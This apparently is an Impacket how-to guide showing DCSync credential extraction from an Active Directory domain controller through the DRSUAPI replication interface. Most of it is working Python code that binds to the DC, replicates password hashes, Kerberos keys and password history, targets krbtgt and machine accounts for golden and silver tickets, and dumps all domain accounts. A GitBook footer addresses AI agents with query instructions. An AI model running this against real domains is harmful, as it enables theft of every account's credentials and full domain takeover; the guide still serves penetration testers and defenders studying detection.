> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/drusapi-creds-extract.md).

# DRUSAPI Credintial Extraction

You have domain admin (or equivalent replication privileges) and need to extract account credentials from a domain controller without touching disk.

## What you need

* An account with `Replicating Directory Changes` and `Replicating Directory Changes All` privileges
* Network access to the domain controller on port 135 and dynamic RPC ports

***

## Bind to the DRSUAPI interface

DRSUAPI uses TCP transport. Use the Endpoint Mapper to resolve the dynamic port:

```python
from impacket.dcerpc.v5 import transport, epm, drsuapi
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY

string_binding = epm.hept_map(dc_ip, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_credentials(username, password, domain, lmhash, nthash)

dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(drsuapi.MSRPC_UUID_DRSUAPI)
```

Packet privacy is required; the DC rejects the bind without it.

## Perform DRSBind

```python
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID

drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs)
drs['dwFlags'] = (drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 |
                  drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION)
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(drs.getData())

resp = dce.request(request)
drs_handle = resp['phDrs']
```

## Resolve a user's GUID with DRSCrackNames

```python
request = drsuapi.DRSCrackNames()
request['hDrs'] = drs_handle
request['dwInVersion'] = 1
request['pmsgIn']['tag'] = 1
request['pmsgIn']['V1']['formatOffered'] = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
request['pmsgIn']['V1']['formatDesired'] = drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME
request['pmsgIn']['V1']['cNames'] = 1
request['pmsgIn']['V1']['rpNames'].append(f'{domain}\\{target_user}\x00')

resp = dce.request(request)
target_guid = resp['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]
```

You can also use `DRSCrackNames` to resolve other name formats:

```python
# Resolve a DN to a GUID
request['pmsgIn']['V1']['formatOffered'] = drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME
request['pmsgIn']['V1']['rpNames'].append('CN=krbtgt,CN=Users,DC=lab,DC=local\x00')

# Resolve a SID to an NT4 name
request['pmsgIn']['V1']['formatOffered'] = drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME
request['pmsgIn']['V1']['formatDesired'] = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
```

## Replicate a single user's credentials

```python
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = drs_handle
request['dwInVersion'] = 8

request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = drsuapi.NTDSAPI_CLIENT_GUID
request['pmsgIn']['V8']['uuidInvocIdSrc'] = drsuapi.NTDSAPI_CLIENT_GUID

dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.string_to_bin(target_guid)
dsName['StringName'] = '\x00'
dsName['NameLen'] = 0

request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0

# Specify which attributes to replicate
attrs = [
    drsuapi.DRSUAPI_ATTID_unicodePwd,
    drsuapi.DRSUAPI_ATTID_ntPwdHistory,
    drsuapi.DRSUAPI_ATTID_lmPwdHistory,
    drsuapi.DRSUAPI_ATTID_supplementalCredentials,
    drsuapi.DRSUAPI_ATTID_userPrincipalName,
    drsuapi.DRSUAPI_ATTID_sAMAccountName,
]

request['pmsgIn']['V8']['pPartialAttrSet'] = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
request['pmsgIn']['V8']['pPartialAttrSet']['dwVersion'] = 1
request['pmsgIn']['V8']['pPartialAttrSet']['cAttrs'] = len(attrs)
for attr in attrs:
    attid = drsuapi.MakeAttid(drsuapi.SCHEMA_PREFIX_TABLE, attr)
    request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(attid)

resp = dce.request(request)
```

## Parse the replicated data

The response contains encrypted attribute values. The prefix table maps attribute IDs to OIDs:

```python
reply_version = 6
prefixTable = resp['pmsgOut']['V%d' % reply_version]['PrefixTableSrc']['pPrefixEntry']
record = resp['pmsgOut']['V%d' % reply_version]['pObjects']['Entinf']

for attr in record['AttrBlock']['pAttr']:
    oid = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
    if attr['AttrVal']['valCount'] > 0:
        raw_value = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
        # Decryption depends on attribute type and session key
        # See NTDSHashes.__decryptHash in secretsdump for the full decryption logic
```

The `supplementalCredentials` attribute contains Kerberos keys (AES256, AES128, DES) and cleartext passwords if reversible encryption is enabled. Use `NTDSHashes.__decryptSupplementalInfo` for parsing.

## Replicate specific high-value targets

Common targets beyond individual users:

```python
# The krbtgt account (for golden ticket material)
# Resolve: domain\krbtgt -> GUID, then replicate

# Machine accounts (for silver tickets)
# Resolve: domain\DC01$ -> GUID, then replicate
# The machine account's NT hash can craft service tickets for any service on that machine

# Service accounts found via Kerberoasting enumeration
# If cracking the TGS fails, DCSync gets the hash directly (if you have the privileges)
```

## Replicate all domain accounts

Set `cMaxObjects` higher and follow the continuation cookie:

```python
request['pmsgIn']['V8']['cMaxObjects'] = 1000

while True:
    resp = dce.request(request)
    # Process records in resp['pmsgOut']['V6']['pObjects']
    # ...

    # Check if there are more records
    if resp['pmsgOut']['V6']['fMoreData'] == 0:
        break

    # Update the cookie for the next batch
    request['pmsgIn']['V8']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']['uuidInvocIdSrc']
    request['pmsgIn']['V8']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
```

## Clean up

```python
dce.disconnect()
```

DRSUAPI replication leaves no files on disk. It generates Windows Event ID 4662 (Directory Service access) with the replication GUID. This is what detection tools like MDI monitor for.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/drusapi-creds-extract.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
